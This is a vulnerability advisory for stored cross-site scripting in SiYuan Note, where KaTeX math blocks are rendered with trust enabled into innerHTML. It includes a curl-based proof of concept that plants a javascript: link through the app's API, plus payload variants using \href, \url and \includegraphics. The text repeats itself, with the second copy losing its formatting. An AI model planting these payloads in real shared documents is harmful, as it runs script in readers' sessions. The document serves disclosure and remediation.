Summary
Stored cross-site scripting in SiYuan Note. Math block content ($$...$$) written by any user with edit permission on a document is rendered by the block's editor path with KaTeX's trust: true and without HTML sanitization. KaTeX's TeX \href (and \url, \includegraphics) rules therefore preserve a javascript: URL in the generated <a href> / <img src> attribute, which the application then assigns via innerHTML. A reader who clicks the rendered link executes attacker script in the application origin.
Details
Root cause is the trust decision for KaTeX combined with a direct innerHTML sink, not a generic KaTeX flaw. KaTeX's \href rule is documented as emitting the URL as given when trust is enabled; the application opts into that mode by default on the local path.
Affected source locations (commit 60a4387):
app/src/protyle/render/mathRender.ts:52-59 — interpretation entry:
window.katex.renderToString(Lute.UnEscapeHTMLStr(dataContent), { trust: security.trust, ... })
(KaTeX pinned to 0.16.9, mathRender.ts:39, katex.min.js?v=0.16.9)
app/src/protyle/render/mathRenderSecurity.ts:1-4 — trust/sanitize decision
app/src/protyle/render/mathRender.ts:68-72 — sink: mathElement.innerHTML = mathHTML
Data flow:
- A collaborator with edit rights stores the following as math block content (
$$...$$), through the editor or through the normal API POST /api/block/appendBlock {"dataType":"markdown", ...}: $$\href{javascript:alert('xss')}{clickme}$$
- Lute stores it as a math block whose
data-content holds the TeX source verbatim.
- When the document is opened,
mathRender calls katex.renderToString(..., { trust: true }). KaTeX's \href rule emits <a href="javascript:alert('xss')">clickme</a>.
- The HTML is mounted with
innerHTML into the math block container.
- The victim clicks the rendered link; the
javascript: URL runs attacker script in the application origin (javascript: URLs execute only on an in-document click gesture — no click, no execution).
The rendering rule was additionally reproduced in isolation (KaTeX 0.16.9, trust: true) to confirm step 3; the end-to-end click was executed in a real Chromium against the running application.
Proof of concept
Environment: Ubuntu / Docker (b3log/siyuan:latest, digest sha256:d740a1d3ed6b850de3043caf02d3b41e57e0c79b69a8ce2e511588e5e76968c1) / SiYuan 3.8.5, kernel reachable at http://127.0.0.1:18083.
-
Plant the payload as an ordinary document editor would (only normal APIs are used):
NB=$(curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/notebook/createNotebook \
-H 'Content-Type: application/json' -d '{"name":"xsslab"}' \
| python3 -c "import json,sys;print(json.load(sys.stdin)['data']['notebook']['id'])")
DOC="xss-katex-tok-manual"
KDOC=$(curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/filetree/createDocWithMd \
-H 'Content-Type: application/json' \
-d "{\"notebook\":\"$NB\",\"path\":\"/$DOC\",\"markdown\":\"kx\"}" \
| python3 -c "import json,sys;print(json.load(sys.stdin)['data'])")
TOKEN='xss_manual_p00'
python3 -c "import json;print(json.dumps({'dataType':'markdown',
'data':\"\$\$\\\\href{javascript:alert('$TOKEN')}{clickme}\$\$\",'parentID':'$KDOC'}))" > /tmp/b.json
curl -s --noproxy '*' -X POST http://127.0.0.1:18083/api/block/appendBlock \
-H 'Content-Type: application/json' --data @/tmp/b.json
-
Open http://127.0.0.1:18083/stage/build/desktop/ → notebook xsslab → document $DOC.
-
The math block renders a clickme link. Clicking it shows a native alert dialog containing xss_manual_p00.
Observed result (real Chromium run, payload rendered by the application, not by a test fixture): KaTeX output <a href="javascript:alert('xss_syK1_p00')">…</a>, click → alert dialog with the per-run token, i.e. the payload of the planted block executes in the application origin.
Other payload variants that survive the same rule with trust: true (all require the same single click): \href with mixed case scheme (JaVaScRiPt:), \url{javascript:…}, \includegraphics{javascript:…} (produces img[src="javascript:…"]).
Not vulnerable / checked and safe on the same workspace: ordinary paragraph <img onerror=…> is stored as escaped text; <script> is escaped by Lute; fenced code blocks render as text nodes; HTML block data-content is entity-encoded and not activated; iframe[src="javascript:…"] is emptied to src="" by Lute.
Impact
Stored, so every reader of the shared document is exposed. The script runs in the application origin, so it can read the page and act with the reader's session in that origin — relevant because the desktop build's UI drives local kernel APIs. Demonstrated impact is limited to proof-of-concept execution (alert dialog); no data exfiltration was performed.
Summary
Stored cross-site scripting in SiYuan Note. Math block content (
$$...$$) written by any user with edit permission on a document is rendered by the block's editor path with KaTeX'strust: trueand without HTML sanitization. KaTeX's TeX\href(and\url,\includegraphics) rules therefore preserve ajavascript:URL in the generated<a href>/<img src>attribute, which the application then assigns viainnerHTML. A reader who clicks the rendered link executes attacker script in the application origin.Details
Root cause is the trust decision for KaTeX combined with a direct
innerHTMLsink, not a generic KaTeX flaw. KaTeX's\hrefrule is documented as emitting the URL as given whentrustis enabled; the application opts into that mode by default on the local path.Affected source locations (commit
60a4387):app/src/protyle/render/mathRender.ts:52-59— interpretation entry:0.16.9,mathRender.ts:39,katex.min.js?v=0.16.9)app/src/protyle/render/mathRenderSecurity.ts:1-4— trust/sanitize decisionapp/src/protyle/render/mathRender.ts:68-72— sink:mathElement.innerHTML = mathHTMLData flow:
$$...$$), through the editor or through the normal APIPOST /api/block/appendBlock {"dataType":"markdown", ...}:$$\href{javascript:alert('xss')}{clickme}$$data-contentholds the TeX source verbatim.mathRendercallskatex.renderToString(..., { trust: true }). KaTeX's\hrefrule emits<a href="javascript:alert('xss')">clickme</a>.innerHTMLinto the math block container.javascript:URL runs attacker script in the application origin (javascript:URLs execute only on an in-document click gesture — no click, no execution).The rendering rule was additionally reproduced in isolation (KaTeX 0.16.9,
trust: true) to confirm step 3; the end-to-end click was executed in a real Chromium against the running application.Proof of concept
Environment: Ubuntu / Docker (
b3log/siyuan:latest, digestsha256:d740a1d3ed6b850de3043caf02d3b41e57e0c79b69a8ce2e511588e5e76968c1) / SiYuan 3.8.5, kernel reachable athttp://127.0.0.1:18083.Plant the payload as an ordinary document editor would (only normal APIs are used):
Open
http://127.0.0.1:18083/stage/build/desktop/→ notebookxsslab→ document$DOC.The math block renders a
clickmelink. Clicking it shows a native alert dialog containingxss_manual_p00.Observed result (real Chromium run, payload rendered by the application, not by a test fixture): KaTeX output
<a href="javascript:alert('xss_syK1_p00')">…</a>, click →alertdialog with the per-run token, i.e. the payload of the planted block executes in the application origin.Other payload variants that survive the same rule with
trust: true(all require the same single click):\hrefwith mixed case scheme (JaVaScRiPt:),\url{javascript:…},\includegraphics{javascript:…}(producesimg[src="javascript:…"]).Not vulnerable / checked and safe on the same workspace: ordinary paragraph
<img onerror=…>is stored as escaped text;<script>is escaped by Lute; fenced code blocks render as text nodes; HTML blockdata-contentis entity-encoded and not activated;iframe[src="javascript:…"]is emptied tosrc=""by Lute.Impact
Stored, so every reader of the shared document is exposed. The script runs in the application origin, so it can read the page and act with the reader's session in that origin — relevant because the desktop build's UI drives local kernel APIs. Demonstrated impact is limited to proof-of-concept execution (alert dialog); no data exfiltration was performed.